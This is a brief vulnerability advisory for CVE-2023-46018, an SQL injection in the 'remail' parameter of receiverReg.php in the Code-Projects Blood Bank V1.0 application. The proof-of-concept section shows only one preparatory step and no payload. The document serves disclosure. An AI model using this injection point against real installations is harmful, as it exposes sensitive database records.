Overview

• Code-Projects Blood Bank V1.0 is susceptible to a significant security vulnerability that arises from insufficient protection on the ‘remail’ parameter in the receiverReg.php file. This flaw can potentially be exploited to inject malicious SQL queries, leading to unauthorized access and extraction of sensitive information from the database.

Vulnerability Details

• CVE ID: CVE-2023-46018
• Affected Version: Blood Bank V1.0
• Vulnerable File: /receiverReg.php
• Parameter Name: remail
• Attack Type: Local

Description

• The lack of proper input validation and sanitization on the ‘remail’ parameter allows an attacker to craft SQL injection queries, bypassing authentication mechanisms and gaining unauthorized access to the database

Proof of Concept (PoC) :

• Save the POST request of receiverReg.php to a request.txt file.
